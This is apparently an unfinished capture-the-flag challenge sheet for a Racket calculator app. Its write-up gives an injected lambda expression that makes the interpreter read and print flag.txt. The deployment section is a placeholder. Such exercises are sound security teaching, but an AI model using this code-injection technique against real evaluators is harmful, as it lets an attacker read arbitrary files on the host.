== Files ==
Participants should receive the calculator-app.rkt file.

== Deployment ==
Something something telnet/netcat

== Solution/Writeup ==
The code now allows an arbitrary expression in the first position, so we can create a lambda that will be executed by the interpreter.

Example input to print the solution:
((lambda ()
  (call-with-input-file
    "flag.txt"
    (lambda (input-port)
      (let loop ((x (read-char input-port)))
        (if (not (eof-object? x))
          (begin 
            (display x)
            (loop (read-char input-port)))))))))
